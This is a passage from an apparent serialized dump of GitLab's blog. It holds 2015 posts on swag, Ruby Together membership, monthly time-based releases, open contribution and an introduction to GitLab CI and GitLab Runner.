href=\"https://twitter.com/hashtag/OSCON?src=hash\">#OSCON\u003C/a> \u003Ca href=\"https://t.co/B40tPfOMax\">pic.twitter.com/B40tPfOMax\u003C/a>\u003C/p>&mdash; Duane O&#39;Brien (@DuaneOBrien) \u003Ca href=\"https://twitter.com/DuaneOBrien/status/659022203279798272\">October 27, 2015\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\nWe’re also thinking of ways to use alternative materials, create locally, and support makers. I love the [Resketch notebooks](http://resketchbook.com/) by Shawn Smith which use reclaimed materials to make fun notebooks. I like that this kind of product reduces waste. Have you seen other cool products like that?\n\nA while back, I asked a talented craftsperson I know, [A Million Paper Stars](https://www.facebook.com/amillionpaperstars), to make a bag for me to carry my various computer charger, mouse, etc. I wanted to get creative and try something different. Would you be interested in handmade swag?\n\n![GitLab bag by A Million Paper Stars](https://about.gitlab.com/images/blogimages/gitlab-bag-amillionpaperstars.png)\n\nI’m really curious about the great swag you’ve seen. Creative ideas welcome! Please let us know about your favourite swag, from stickers to surprises, and don’t forget to share your #swagportrait if you’d like to be in with a chance to win some of GitLab’s first swag shop offerings. \n\n## GitLab Swag Alert\n\nWhen you add your name to this list you'll be put on our \"Swag Alert\" list. We'll contact you to find out more about your swag ideas. And as soon as the swag shop is open, you'll be the first to know. Then whenever we have a new product, we'll tell ya.\n\n\u003Cscript src=\"//page.gitlab.com/js/forms2/js/forms2.min.js\">\u003C/script>\n\u003Cform id=\"mktoForm_1125\">\u003C/form>\n\u003Cscript>MktoForms2.loadForm(\"//page.gitlab.com\", \"194-VVC-221\", 1125);\u003C/script>\n\nThanks, and looking forward to hearing from you and seeing your #swagportraits\n\n",{"slug":39119,"featured":6,"template":678},"swag-gitlab-plan","content:en-us:blog:swag-gitlab-plan.yml","Swag Gitlab Plan","en-us/blog/swag-gitlab-plan.yml","en-us/blog/swag-gitlab-plan",{"_path":39125,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39126,"content":39132,"config":39137,"_id":39139,"_type":16,"title":39140,"_source":17,"_file":39141,"_stem":39142,"_extension":20},"/en-us/blog/supporting-ruby-together",{"title":39127,"description":39128,"ogTitle":39127,"ogDescription":39128,"noIndex":6,"ogImage":39129,"ogUrl":39130,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39130,"schema":39131},"GitLab \u003C3 Ruby Together","GitLab has joined Ruby Together as an Emerald member, helping to ensure that everyone who uses Ruby will be able to depend on Bundler, RubyGems.org, and other Ruby infrastructure.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683665/Blog/Hero%20Images/love-the-sun.jpg","https://about.gitlab.com/blog/supporting-ruby-together","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab \u003C3 Ruby Together\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Guest author André Arko of Ruby Together\"}],\n        \"datePublished\": \"2015-12-21\",\n      }",{"title":39127,"description":39128,"authors":39133,"heroImage":39129,"date":39135,"body":39136,"category":299},[39134],"Guest author André Arko of Ruby Together","2015-12-21","\n\nCompanies and developers who use Ruby depend on a lot of infrastructure to get their work done. GitLab provides a solution for hosting code and collaborating on that code, but shipping code and using code shipped by others also relies on Bundler, RubyGems, and the RubyGems.org servers. For many years, all of that Ruby infrastructure has been maintained entirely by volunteers, in their spare time. That worked well when the Ruby community was small, but today volunteer work just isn’t enough to keep everything working.\n\n\u003C!-- more -->\n\n[Ruby Together](https://rubytogether.org) was founded to bring together Ruby developers and companies that use Ruby to create a cooperative solution to this problem. Members provide funds, and we use those funds to ensure that developers are paid fairly to do on-call rotations, maintenance work, and make improvements to code and services used by the entire Ruby community. \n\nMembers also have the opportunity to connect with one another and with the Ruby Together team via a members-only Slack group chat. As membership increases,  we plan to fund additional projects that benefit the entire Ruby community, including work to turn [RubyBench.org](https://rubybench.org/) into a fully-fledged community performance benchmarking resource and creating new projects to solve other problems that Ruby developers struggle with today.\n\nGitLab has joined Ruby Together as an Emerald member, helping to ensure that everyone who uses Ruby will be able to depend on Bundler, [RubyGems.org](http://RubyGems.org), and other Ruby infrastructure. Become a member alongside GitLab, Basecamp, Stripe, Airbnb, and others, improving things for everyone who uses Ruby. The community that has grown up around Ruby is amazing, and provides many fantastic (and fantastically useful) tools that any developer can use. \n\nLet's work together to make sure those tools (and the community) are the best that they can be, for everyone. Membership dues directly fund work that benefits everyone using Ruby, and are usually tax-deductible. Both individual and corporate memberships are available. [Join us today!](https://rubytogether.org).\n\nArticle by André Arko, who maintains and develops Bundler, as well as contributing to RubyGems and RubyGems.org. Find out more about the [Ruby Together team](https://rubytogether.org/team)",{"slug":39138,"featured":6,"template":678},"supporting-ruby-together","content:en-us:blog:supporting-ruby-together.yml","Supporting Ruby Together","en-us/blog/supporting-ruby-together.yml","en-us/blog/supporting-ruby-together",{"_path":39144,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39145,"content":39151,"config":39155,"_id":39157,"_type":16,"title":39158,"_source":17,"_file":39159,"_stem":39160,"_extension":20},"/en-us/blog/gitlab-release-process",{"title":39146,"description":39147,"ogTitle":39146,"ogDescription":39147,"noIndex":6,"ogImage":39148,"ogUrl":39149,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39149,"schema":39150},"How we managed 49 monthly releases","In this article I’ll give you an overview of how we release our product and how it helps our team improve process and documentation.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684538/Blog/Hero%20Images/leavesonbranch.png","https://about.gitlab.com/blog/gitlab-release-process","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we managed 49 monthly releases\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dmitriy Zaporozhets\"}],\n        \"datePublished\": \"2015-12-17\",\n      }",{"title":39146,"description":39147,"authors":39152,"heroImage":39148,"date":39153,"body":39154,"category":8943},[16575],"2015-12-17","\n\nSince October 2011 we’ve released GitLab each month, without fail, without exceptions. On December 22nd that will be 49 monthly releases, not including patch releases or security releases. In this article I’ll give you an overview of how we release our product and how it helps our team improve process and documentation.\n\nYour release strategy affects how you plan, develop, test, and publish your software. At GitLab we follow a monthly release cycle which works really well for our project. If you’re running an open source distributed software project, you might consider if a predictable time-based release can help your project. You can even get started by using our release cycle documentation as your template.\n\n\u003C!-- more -->\n\n## Why time-based release cycles?\n\nTime-based releases make absolute sense if you develop distributed software. Take for example Apple macOS. They have a fixed release date, everyone knows when it will be coming out. With distributed software, users need to be prepared for a release. Another advantage is that it builds anticipation for the software release.\n\nIf you have SaaS type services, they don’t need a fixed release date. People are already using the software so it’s a matter of delivering features as soon as they are ready.\n\nAn open source project isn’t only you, working on your own. Even from very early on GitLab was always collaborative. The truth is, I’m a lazy person. I like to have lots of fun, and I always have stuff to do whether it’s playing video games or hanging out with friends. It’s actually a hack to deal with myself. You need some discipline or schedule, otherwise you will always find some reason to delay. A certain date makes it easier.\n\nThis has been a popular method in some open source projects. At the time I started GitLab I was inspired by Ubuntu’s [time based releases](https://wiki.ubuntu.com/TimeBasedReleases). I was always anticipating their next release, and this was inspiring. Ubuntu's time-based cycle was heavily influenced by the release process [used by the GNOME project](http://live.gnome.org/ReleasePlanning/TimeBased). Both of those projects follow a six month cycle generally. We follow a one month cycle.\n\n## Why monthly cycles?\n\nIn some ways the date and duration of a cycle is arbitrary. People ask me “Why is it on the 22nd?” perhaps expecting there is some meaning in the number. Actually, it was just the date of the previous release when we decided to make it monthly.\n\nBy choosing monthly it greatly simplifies communication. A bi-monthly release could cause confusion (\"Was it last month or the one before?\") and longer cycles could mean stagnation in development. Another advantage is that a short cycle keeps you focused on smaller iterations, and getting feedback quickly. It’s easier to test and see what is not working, and easier to roll back changes. This is the most awesome part of time-based release cycles.\n\nSometimes what happens on larger projects and teams is that people can be working in parallel and might be duplicating effort without knowing it. Someday, a manager might come to you and say “Yeah… we decided not to ship that feature you were working on. Someone else on another team was working on something similar, and your feature no longer makes sense.” That’s unfortunately a common experience.\n\nA short release cycle doesn’t allow you to work for a long time between when you create a feature and get feedback. It prevents people from losing their focus.\n\n## How do we organize who works on what and when?\n\nInstead of one person assigning tasks to team members, the team members pick up tasks from the pool. This is an [Agile practice](/solutions/agile-delivery/) which gives greater autonomy to the members of the team. You work on what you want to from the pool within the goals of the project.\n\nThe leaders define the direction. They work on the pool and define the milestones. We do work on large features, but these are split up into tasks. Our release priorities are published in our [Direction document in the Handbook](/direction/), and everyone on the team can see the current milestones we’re tracking against.\n\nWe do have some things which are high priority and which must be worked on first, such as security issues and priority features. After that, it’s a matter of what you want to work on yourself. This process of selecting issues and prioritization is outlined in our GitLab Handbook, under [GitLab Workflow](/handbook/communication/#gitlab-workflow). For example, “Assign an issue to yourself as soon as you start to work on it, but not before that time.” If an issue is assigned to someone, someone is working on it. If it’s not assigned to someone, no one is working on it. If it’s assigned to a milestone, there’s commitment to work on it. This also makes it easier for everyone on the team to collaborate. Having a manager to bring this distributed effort to release is very important.\n\n## The Release Manager is a role, not a person\n\nIn most software development projects a release process is followed by a team lead who delegates tasks. If there is always one person doing it, it’s not always documented. Also, you rely on that one person being available. We can’t wait if someone is sick or on vacation to get our release out. Having one person managing a release is a potential single point of failure.\n\nFor a long time, I managed all the releases. As soon as we had more people on our team at GitLab, I was able to hand this task over to others. Now we rotate the role of release management to a new appointed member each month. This means we don’t have one person who is always in charge of releases.\n\nThe benefits of making the Release Manager a role and not a person don’t stop at improving reliability, it also means a better process over all. When you pass the role to other people, a new person can contribute new ideas or improvements, for example to the process or documentation. The release itself becomes an object of collaboration. If a new person can follow along, we know the documentation is where it needs to be.\n\nThe release process is a good experience for any member of the team. It gives you a wider overview of the entire pipeline. Being a Release Manager requires that you collaborate with developers, operations, marketing, sales -- every aspect of the company. It’s a great way for you to get to know the entire team.\n\n## What does the Release Manager do?\n\nEach month the Release Manager is appointed to follow the release process which begins 7 business days prior to the release date. That person stays the Release Manager until the end of their cycle and the next Release Manager initiates the next release. The monthly release process is outlined in [our documentation](https://gitlab.com/gitlab-org/release-tools/blob/master/README.md).\n\nIt’s up to the Release Manager to delegate and coordinate activity among the team members, and to ensure everyone is up-to-date. They create an issue in the GitLab CE project, and use the `monthly.md` file as a template. This generates a checklist which the Release Manager updates as the release progresses. Finally, the Release Manager also appoints the next Release Manager who will initiate the next cycle.\n\n![Example monthly release checklist GitLab 8.3](https://about.gitlab.com/images/blogimages/monthly-release-checklist.jpg)\n\n## What are the steps towards release?\n\nSix business days before the 22nd, the first release candidates are created for CE and EE. After that, the team is testing and doing QA on the release. Four days before the release, we deploy to GitLab.com and test further. In the final days before the release we are working on building packages and preparing the blog post, which includes selecting a contributor MVP for the [GitLab Hall of Fame](/community/mvp/index.html).\n\nFinally, we release GitLab at 12am CET (Central European Time) of the 22nd. This ensures we have enough time during the European work day to address any issues that might arise.\n\n## What happens after a release?\n\nAs part of the release process, we have a regression issue where people point out functionality that may have been broken by the new release. We create fixes for issues as they arise, and prepare a patch release. Patch releases have no schedule. One might be released within 24 hours if it relates to security or data loss. We don’t want to do too many patch releases, especially because soon the next release will be coming out. It’s up to the Release Manager to decide how to handle this.\n\nIn the past we’ve held team calls to celebrate, but this can be interrupted. Even right after we deploy the release and publish the blog post there’s more work to do, small things to fix, and patch releases to prepare. I always celebrate it at home. I recommend you get a good bottle of beer, toast your teammates, and enjoy the moment. You probably want to spend some time with your friends and family after the intensity of a release.\n\n## Does this have an advantage for open source projects?\n\nMost open source projects don’t follow this strict release process. This means it’s up to the leaders to decide when it’s time to release.\n\nI’ve contributed code to other open source projects, and when I see upstream issues that are important but not released I start wondering. If there are people specifically asking “Can you release a new version?” then I’m very skeptical about these projects. I don’t trust any project that doesn't know when the next release is coming out.\n\nPeople can trust open source projects which have a stable release schedule. It’s a sign of a healthy project which is actively developed. I do feel that for open source projects, developing a timed release process is the best option for distributed software. And I now know, it’s something that people love about GitLab.\n\nIn January we’re going to have our 50th monthly release of our project. We’re looking forward to celebrating!\n\nIf you'd like to read more about our release philosophy you can read our previous post, [Why we shift objectives and not release dates at GitLab](/blog/why-we-shift-objectives-and-not-release-dates-at-gitlab/).\n",{"slug":39156,"featured":6,"template":678},"gitlab-release-process","content:en-us:blog:gitlab-release-process.yml","Gitlab Release Process","en-us/blog/gitlab-release-process.yml","en-us/blog/gitlab-release-process",{"_path":39162,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39163,"content":39168,"config":39172,"_id":39174,"_type":16,"title":39175,"_source":17,"_file":39176,"_stem":39177,"_extension":20},"/en-us/blog/improving-open-development-for-everyone",{"title":39164,"description":39165,"ogTitle":39164,"ogDescription":39165,"noIndex":6,"ogImage":12013,"ogUrl":39166,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39166,"schema":39167},"Improving Open Development for Everyone","We want to give everyone that loves GitLab the opportunity to help shape its progress and be empowered to do this effortlessly.","https://about.gitlab.com/blog/improving-open-development-for-everyone","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Improving Open Development for Everyone\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2015-12-16\",\n      }",{"title":39164,"description":39165,"authors":39169,"heroImage":12013,"date":39170,"body":39171,"category":299},[36660],"2015-12-16","\n\nWe want to make it super easy for anyone to contribute to GitLab.\n\nThat's why we've changed two things:\n\n1. Feature proposals are now handled in the GitLab projects on GitLab.com.\n1. We've assigned weights to relatively simple `Accepting merge requests`\nissues, to make it clear where new contributors can start.\n\n\u003C!-- more -->\n\n## Feature Proposals\n\nIn the past we've used Uservoice on feedback.gitlab.com to handle\nfeature proposals and voting. This has served us well, but we always felt that\nwe could bring the discussion even closer to the development of GitLab.\n\nAs we've introduced [Award Emoji with GitLab 8.2](/releases/2015/11/22/gitlab-8-2-released/)\nand are extending this to allow\nfor [sorting, filtering](https://gitlab.com/gitlab-org/gitlab-ce/issues/3672)\nbased on these, we feel now is the time to start migrating\nthe feature proposals to GitLab.com.\n\nThis means that if you want to propose a feature for GitLab CE or EE,\nyou can now simply create an issue in their respective projects`.\nThis will allow anyone to vote, comment and discuss this.\n\nThis system is even more useful because anyone that has shown interest in the issue will be automatically updated\nwith the status of the issue once someone starts working on it. In time this will also\nreveal areas where we might want to improve GitLab's issue tracker.\n\n- [GitLab CE issues](https://gitlab.com/gitlab-org/gitlab-ce/issues)\n- [GitLab EE issues](https://gitlab.com/gitlab-org/gitlab-ee/issues)\n\n## Accepting merge requests with weight\n\n> **Updated Feb 6, 2017:** `up-for-grabs` was changed to\n`Accepting merge requests` with weight\n\nWe started using\n[issue weight](https://docs.gitlab.com/ee/user/project/issues/issue_weight.html)\nfor issues with `Accepting merge requests` label to make finding\nlow-hanging fruits much easier. Now anyone can help make GitLab better for\neveryone.\n\nWe will assign weight smaller than five to issues that are not too hard or too\nbig to work on.\nWhether you're a first-time contributor, someone that wants to improve their\nRuby / Javascript / Go or someone that wants to contribute, but doesn't have time\nfor a big bug fix or feature, these are issues that you should be able to work on.\nIf you're already good at the languages GitLab uses, but you are new\nto the project, these issues are perfect for you as well.\n\nHave a look at the [Accepting merge requests issues for GitLab on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues?label_name%5B%5D=Accepting+merge+requests&sort=weight_asc)\nright now. We will add more over time.\n\nPlease follow our [the contribution guidelines](https://gitlab.com/gitlab-org/gitlab-ce/blob/master/CONTRIBUTING.md) to help you get started.\n\n## How can we make it easier?\n\nWe want to give everyone that loves GitLab the opportunity to help shape its progress and be empowered to do this effortlessly.\n\nHow can we make this easier for you? We'd love to hear it in the comments.\n",{"slug":39173,"featured":6,"template":678},"improving-open-development-for-everyone","content:en-us:blog:improving-open-development-for-everyone.yml","Improving Open Development For Everyone","en-us/blog/improving-open-development-for-everyone.yml","en-us/blog/improving-open-development-for-everyone",{"_path":39179,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39180,"content":39186,"config":39190,"_id":39192,"_type":16,"title":39193,"_source":17,"_file":39194,"_stem":39195,"_extension":20},"/en-us/blog/getting-started-with-gitlab-and-gitlab-ci",{"title":39181,"description":39182,"ogTitle":39181,"ogDescription":39182,"noIndex":6,"ogImage":39183,"ogUrl":39184,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39184,"schema":39185},"Getting started with GitLab and GitLab CI","This is the start of a series of posts to get you started with GitLab and GitLab CI.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684532/Blog/Hero%20Images/stairwaycompressed.jpg","https://about.gitlab.com/blog/getting-started-with-gitlab-and-gitlab-ci","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Getting started with GitLab and GitLab CI\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Achilleas Pipinellis\"}],\n        \"datePublished\": \"2015-12-14\",\n      }",{"title":39181,"description":39182,"authors":39187,"heroImage":39183,"date":39188,"body":39189,"category":734},[35789],"2015-12-14","\n\nThis is the start of a series of posts to get you started with GitLab and\nGitLab CI.\n\nIn this first post, we will explain what CI is, why you would use it, and we will\nbriefly explore a higher overview of the components that make GitLab and GitLab\nCI work together.\n\nLet's dive in!\n\n\u003C!-- more -->\n\n## What is this CI thing?\n\nCI stands for [Continuous Integration][ci-wiki] and has gained in popularity\nthe last few years. Together with [Continuous Delivery][cd-wiki] (CD), they\nform the spine of modern [agile software development](/topics/agile-delivery/).\n\nMartin Fowler described this approach in [his article][ci-fowler] as:\n\n> Continuous Integration is a software development practice where members of a\n> team integrate their work frequently, usually each person integrates at least\n> daily - leading to multiple integrations per day. Each integration is\n> verified by an automated build (including test) to detect integration errors\n> as quickly as possible.\n\nThe [benefits of Continuous Integration](/topics/ci-cd/benefits-continuous-integration/) are huge when automation plays an\nintegral part of your workflow.\n\nThey are many applications in the field which try to tackle this practice. The\nmajority of them are either closed source, making you rely on external sources\n(meaning a single point of failure), or need a lot of configuration just to set\nup, let alone the millions of plugins you have to install to meet your needs.\n\nWould you rather have a CI service tightly integrated with your favorite code\nmanagement tool with next to zero configuration? If so, you will love GitLab\nCI!\n\n## Meet GitLab CI\n\nWhat started as a side project three years ago, has now\nbecome one of GitLab's key features. Back then, it was a separate application\nthat talked to GitLab via webhooks. Now, starting from GitLab 8.0,\nGitLab CI has been [fully integrated with GitLab itself][8-post]. No more need\nto set up and maintain another application, which means less work for you or\nyour Ops team.\n\nGitLab CI is enabled by default on new projects, so you can start using its\nfeatures right away. All you need is a file called\n[.gitlab-ci.yml](/blog/implementing-gitlab-ci-dot-yml/) (where you\ndescribe how the build should run) placed in the root directory of your git\nproject, and a configured Runner to perform the actual build.\n\nEach project comes with a Builds page where you can follow the output of each\nbuild, see the commit that introduced it and other useful information such as\nthe time the build started, how long it lasted and the commiter's name.\n\nThe statuses for each build are exposed in the GitLab UI, and you can see\nwhether a build succeeded, failed, got canceled or skipped within a single\nMerge Request or commit, or at the Merge Requests and commits pages.\n\nAnother win having GitLab CI integrated with GitLab is that people can see\nother users' CI/CD approaches and learn from them.\n\nThere is one last component without which, most of the features above wouldn't\nhave been possible. It does all the heavy work by performing the actual builds.\n\nEnter GitLab Runner.\n\n## GitLab Runner\n\nGitLab Runner is the missing piece that leverages the power of GitLab CI. A\nRunner is responsible for the actual build and can be configured to be used\nwith one or many projects. It talks to the GitLab CI API, reads `.gitlab-ci.yml`,\nfollows the steps defined in that file and sends the results to GitLab CI.\n\nSome of the key features of GitLab Runner are:\n\n* [Is open source][runner-repo]\n* Is written in Go and distributed as a single binary without any other\n\trequirements\n* Works on Linux, macOS, *BSD and Windows (and anywhere you can run Docker)\n* Easy installation as a service for Linux, macOS and Windows\n* [Linux users can install it using deb or rpm packages][runner-linux-repo]\n* Easy to use setup with support for Docker, Docker with SSH, Parallels or\n  plain SSH running environments\n* Allows to run:\n  - multiple jobs concurrently\n  - use multiple tokens with multiple servers (even per-project)\n  - limit number of concurrent jobs per-token\n* Jobs can be run:\n  - locally using your shell\n  - using Docker containers\n  - using Docker containers and executing jobs over SSH\n  - by connecting to a remote SSH server\n* Supports Bash, Windows Batch and Windows PowerShell\n* Allows to customize the running environment per job\n* Automatic configuration reload without restart\n* Enables caching of Docker containers\n* List of files and directories can be attached to build after success\n  (the so-called `artifacts` feature)\n\nAs you can see, there is much flexibility in installing and configuring\na GitLab Runner.\n\n## What the future holds\n\nWe will keep pushing forward in making GitLab CI a breeze to use and extend it\nto adapt to present and future technologies of the CI field.\n\nSome notable features that we would like to see happening are listed in the\nissues below:\n\n- [Pass CI build artifacts between stages][issue-3423]\n- [GitLab container registry][issue-3299]\n- [GitLab Pipeline][issue-3743]\n- [GitLab Deploy][issue-3286]\n\nAs always, you can visit our [direction page](/direction/) and get a taste of\nthe forthcoming features.\n\n## What's next? \n\nBy now you should have an overview of what GitLab CI is and why you should\nstart using it.\n\nIf you are eager to give it a go, be sure to visit our [quick start guide][].\n\nIn the following posts, we will explore how to use GitLab CI to test your\nprojects in specific languages such as PHP.\n\nSubscribe to our newsletter which includes links to our latest blog posts.\n\n[ci-wiki]: https://en.wikipedia.org/wiki/Continuous_integration\n[cd-wiki]: https://en.wikipedia.org/wiki/Continuous_delivery\n[ci-fowler]: http://www.martinfowler.com/articles/continuousIntegration.html\n[8-post]: /releases/2015/09/22/gitlab-8-0-released/\n[ci-page]: /solutions/continuous-integration/\n[issue-3423]: https://gitlab.com/gitlab-org/gitlab-ce/issues/3423\n[issue-3299]: https://gitlab.com/gitlab-org/gitlab-ce/issues/3299\n[issue-3743]: https://gitlab.com/gitlab-org/gitlab-ce/issues/3743\n[issue-3286]: https://gitlab.com/gitlab-org/gitlab-ce/issues/3286\n[quick start guide]: http://doc.gitlab.com/ce/ci/quick_start/\n[runner-repo]: https://gitlab.com/gitlab-org/gitlab-runner\n[runner-linux-repo]: https://gitlab.com/gitlab-org/gitlab-runner/blob/master/docs/install/linux-repository.md\n",{"slug":39191,"featured":6,"template":678},"getting-started-with-gitlab-and-gitlab-ci","content:en-us:blog:getting-started-with-gitlab-and-gitlab-ci.yml","Getting Started With Gitlab And Gitlab Ci","en-us/blog/getting-started-with-gitlab-and-gitlab-ci.yml","en-us/blog/getting-started-with-gitlab-and-gitlab-ci",{"_path":39197,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39198,"content":39203,"config":39207,"_id":39209,"_type":16,"title":39210,"_source":17,"_file":39211,"_stem":39212,"_extension":20},"/en-us/blog/why-we-shift-objectives-and-not-release-dates-at-gitlab",{"title":39199,"description":39200,"ogTitle":39199,"ogDescription":39200,"noIndex":6,"ogImage":38249,"ogUrl":39201,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39201,"schema":39202},"Why we shift objectives and not release dates at GitLab","At GitLab we believe you shouldn’t wait for something to be perfect: Release what you have and do it on a schedule.","https://about.gitlab.com/blog/why-we-shift-objectives-and-not-release-dates-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why we shift objectives and not release dates at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Heather McNamee\"}],\n        \"datePublished\": \"2015-12-07\",\n      }",{"title":39199,"description":39200,"authors":39204,"heroImage":38249,"date":39205,"body":39206,"category":6634},[38561],"2015-12-07","\n\nI’ve just started working at GitLab, and I’m bowled over completely by the kindness and talent of the people I’m meeting. On my second day, I met with Dmitriy Zaporozhets, founder of the software project GitLab and co-founder of my company, GitLab, Inc. We spoke about the release date: it’s same day, each month, always. What is this madness? I wasn’t used to things being released ON TIME and deadlines not shifting. I discovered this monthly release date is at the heart of working at GitLab.\n\n“At GitLab we believe you shouldn’t wait for something to be perfect: Release what you have and do it on a schedule,” said Dmitriy.\n\n\u003C!-- more -->\n\nGitLab comes out the 22nd of every month, no matter what, no delays, no exceptions. This schedule creates a pace of active development, crucial for open source projects. The predictability builds trust for users and helps them plan better. Most importantly, this approach reduces stress and increases individual and team satisfaction-- because you actually shipped something.\n\n## Shifting deadlines? Stop.\n\nDmitriy explained the philosophy behind the monthly release schedule.\n\n“People expect things to be finished and perfect to meet a deadline,” Dmitriy said. Yet, no matter how you improve the estimation and planning process it seems there are always unfinished tasks as a deadline approaches. To resolve this, the most typical response is to move the deadline instead of changing the objectives.\n\n“Constant delays in release dates creates disappointment, because you don’t see the result of your work being used,” Dmitriy said this negatively affects motivation, creates confusion and erodes trust.\n\nThere is an alternative. Instead: move remaining tasks to later releases, and don’t move the deadline. This approach is unusual, but not unique; for example it is used in Ubuntu. They release every 6 months. It’s a [time-based release](https://wiki.ubuntu.com/TimeBasedReleases), not a feature-driven release.\n\nThere are many advantages.\n\n * There are advantages for users. They know there is a fixed release date which for which they can prepare and plan.\n* It gives open source projects a leading edge which increases adoption and participation. Predictable, frequent releases are crucial for open source projects: People don’t want to help and contribute on a project which is dead or stalled.\n* There are also advantages for the core developers. It promotes working with passion in periods of intense activity then celebration and relaxation.\n\nRecently, Michael Walsh of Enovate Design posted [a review of GitLab](https://www.enovate.co.uk/web-design-blog/2015/11/25/gitlab-review/). He mentioned the release date as a benefit, and I asked him how it affects his own work. He said it wasn't so much that it affected his own work.\n\n> \"I like the regularity of monthly releases (the 22nd is a date I look forward to!) and it's a routine now to check the release blog post. The monthly releases certainly focuses my attention on GitLab more compared with other services that have no/little consistency to the timing of their releases.\" [see comment in context](https://www.enovate.co.uk/web-design-blog/2015/11/25/gitlab-review/#comment-2379718375)\n\nHe knows when it's coming out, and it's nice to think that it's a day he looks forward to.\n\n## How does a time-based release promote quality?\n\nA feature drive release process works well for SaaS services. When a feature is ready you don't need to wait for a specific date to release a certain feature. On the other hand, if you're working on distributed software, users need to be prepared for a release. Having personally experienced long and delayed open source releases as both a user and community member, I'm convinced of this. Time based releases, with strict deadlines, could work best for open source projects especially.\n\nTime-based release cycles promote discipline, emphasize quality, and increase motivation.\n\nDmitriy had a good metaphor, he compared it to going to the gym. It’s better to get to the gym for part of your training plan, instead of skipping it because you don’t have time to do the entire thing. It promotes discipline.\n\nKnowing that each month you will release ‘no matter what’ forces you to focus on high-priority tasks. If you come to a stage where it’s clear certain features are not making it into this release, these tasks get deferred. Sometimes you may find that these tasks were not as important as you thought, or new insights come from the release and you change the features.\n\nYou can’t separate the software from the process and people developing it. Managing energy and motivation is very important. A predictable release schedule has huge effects on motivation.\n\nHe described a friend of his, a designer, who was feeling demotivated in her job. She would constantly experience deadlines pushed out further and further, and the products of her work remained unused or unseen. This is discouraging. It’s this kind of experience that pushes people to leave their jobs. Shifting deadlines results in a complete lack of satisfaction, and no chance to celebrate or rest.\n\nDmitriy explained that yes, sometimes people working on GitLab will work longer hours in the rush to release. “We build something we use ourselves, and this means developers are working to get features in before the release date so they can enjoy the features sooner. This can be an intense period,” he said. But it’s followed by a rest period and celebration. “I believe this approach emphasizes relaxing more and working less,” Dmitriy said. People can work with passion and play with passion.\n\n## A personal desire for quality\n\nDmitriy Zaprozhets started GitLab in 2011. Like the start of many open source projects, he was scratching his own itch; but he was also motivated by quality. I think many developers who participate in open source projects can relate to his experience.\n\n“Previously, I worked as a developer on a small team for a consulting agency. I jumped from project to project. It seems like you get the list of the tasks completed, but then you’re just assigned another list of tasks. There is a flat line of work with spikes in activity in reaction to unplanned crises,” Dmitriy said.\n\n“I was motivated by quality. I think quality matters everywhere, but that quality isn’t always appreciated. There’s a difference between software quality and code quality. The application functionality depends on the software quality: features, reliability and speed, which clients can experience. The code quality itself is something they can’t see or appreciate. Because of that it gets deprioritized,” he said. I think many developers can relate to that experience. You can be put in a situation of doing low-quality work that you’re not necessarily happy with.\n\n“In those teams, it’s typically the leaders who set the pace and level of motivation and quality,” he said, and hinted that you might not always be motivated by those leaders. In response to this, “Many people who work in consulting companies have side personal projects or collaborate on open source projects to get that experience of quality.”\n\nI laughed when he said this. “Is this how GitLab started?” I asked.\n\n“Yes,” Dmitriy said and smiled.\n\nHe wanted GitLab to be a place where he could focus on quality. Like many others who are inspired to build open source, he wanted to attract others to participate. He wanted his software to get released, he wanted it to be used. For him, the choice was obvious. A time-based release cycle and a monthly cadence of releases was the only way to fulfill this. It would be the way he could ensure that the people he attracted to the project were inspired, motivated, and delighted.\n\n\n## The debate is on.\n\nIs a time-based release cycle the best option for all open source projects?\n\nI imagined if a feature-driven release cycle held a debate about Quality with a time-based release cycle, that the feature-driven cycle could lead the argument by saying “We’re holding out for perfection!” In rebuttal, the time-based cycle could argue that their approach leads to a more vibrant, active, development community and ultimately a higher quality product. And besides that, it SHIPS.\n\nWhile a feature-drive release cycle can allow SaaS services to get to market with new features really fast, it can stall and stymie distributed software and especially open source projects. From the release of the long-awaited Drupal 8.0 the open source CMS is moving to a [predictable release schedule](https://www.drupal.org/core/release-cycle-overview), with predictable dates. Scheduled minor releases (8.1.0, 8.2.0) will be released every six months. The challenge for that project will be to resist shifting deadlines and instead, shift objectives.\n\nI’m curious what the GitLab users think about time-based or feature-driven releases, specifically for open source projects. I’d love to hear if you have experience of both, how it affects your motivation and the quality of work.\n\n## Next: How we manage releases for GitLab\n\nNext week, in a follow-up to this post, Dmitriy will share specifics about how the GitLab team manage our releases, along with some tools and examples to coordinate work among a team. Subscribe to our newsletter which includes links to our latest blog posts.\n\n\u003Cscript src=\"//page.gitlab.com/js/forms2/js/forms2.min.js\">\u003C/script>\n\u003Cform id=\"mktoForm_1073\">\u003C/form>\n\u003Cscript>MktoForms2.loadForm(\"//page.gitlab.com\", \"194-VVC-221\", 1073);\u003C/script>\n\n\u003Cp class=\"newsletter-afterword\">\n  If you subscribe, you will receive our twice monthly 